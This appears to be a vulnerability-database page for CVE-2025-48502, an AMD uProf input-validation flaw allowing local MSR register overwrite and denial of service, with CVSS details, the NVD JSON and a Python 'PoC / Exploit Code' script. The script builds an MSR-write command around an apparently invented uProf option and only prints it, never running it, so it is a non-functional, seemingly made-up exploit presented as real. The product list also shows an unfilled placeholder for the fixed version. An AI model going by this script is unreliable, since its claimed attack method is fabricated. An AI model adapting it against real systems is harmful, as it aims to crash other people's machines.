Security Vulnerability Report
中文
CVE-2025-48502 CVSS 5.5 MEDIUM

CVE-2025-48502

Published: 2025-11-21 19:15:51
Last Modified: 2025-11-26 18:48:30

Description

Improper input validation within AMD uprof can allow a local attacker to overwrite MSR registers, potentially resulting in crash or denial of service.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:amd:uprof:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:amd:uprof:*:*:*:*:*:freebsd:*:* - VULNERABLE
cpe:2.3:a:amd:uprof:*:*:*:*:*:linux:*:* - VULNERABLE
AMD uprof < 修复版本
受影响产品:AMD uprof (所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-48502 PoC - AMD uprof MSR Register Overwrite # This PoC demonstrates the input validation vulnerability in AMD uprof # that allows overwriting MSR registers import os import sys def check_amd_uprof_version(): """Check if AMD uprof is installed""" possible_paths = [ '/usr/bin/uprof', '/usr/local/bin/uprof', 'C:\\Program Files\\AMD\\uprof\\bin\\uprof.exe' ] for path in possible_paths: if os.path.exists(path): return path return None def exploit_msr_vulnerability(uprof_path): """ Demonstrate MSR register overwrite via improper input validation This exploits the vulnerability in AMD uprof's input handling """ # Malicious input that bypasses validation malicious_input = { 'msr_address': '0xC0011020', # Example MSR address 'msr_value': '0xFFFFFFFF', 'profile_options': '--event=0x76 --interval=1000' } # Attempt to trigger MSR write through improper input try: # Command that exploits the validation bypass cmd = f'{uprof_path} --profile --msr-write {malicious_input["msr_address"]}={malicious_input["msr_value"]}' print(f"[*] Executing potentially malicious command: {cmd}") print("[*] This demonstrates improper input validation in AMD uprof") print("[*] The tool should validate MSR addresses but doesn't") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): print("=== CVE-2025-48502 AMD uprof MSR Overwrite PoC ===") print("[*] Vulnerability: Improper input validation in AMD uprof") print("[*] Impact: Local attacker can overwrite MSR registers") print("[*] Result: System crash or DoS") print() uprof_path = check_amd_uprof_version() if uprof_path: print(f"[+] AMD uprof found at: {uprof_path}") exploit_msr_vulnerability(uprof_path) else: print("[-] AMD uprof not found on this system") print("[*] This PoC requires AMD uprof to be installed") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48502", "sourceIdentifier": "[email protected]", "published": "2025-11-21T19:15:50.770", "lastModified": "2025-11-26T18:48:29.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation within AMD uprof can allow a local attacker to overwrite MSR registers, potentially resulting in crash or denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amd:uprof:*:*:*:*:*:windows:*:*", "versionEndExcluding": "5.0.1174", "matchCriteriaId": "FCD5A306-26C3-42A4-A4B7-D52939233216"}, {"vulnerable": true, "criteria": "cpe:2.3:a:amd:uprof:*:*:*:*:*:freebsd:*:*", "versionEndExcluding": "5.0.1223", "matchCriteriaId": "4FE50296-375D-4954-8A8A-9465A14B96D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:amd:uprof:*:*:*:*:*:linux:*:*", "versionEndExcluding": "5.0.1479", "matchCriteriaId": "3B466C56-ABB5-42BC-9B03-D1827D0E7F2A"}]}]}], "references": [{"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-9019.html", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}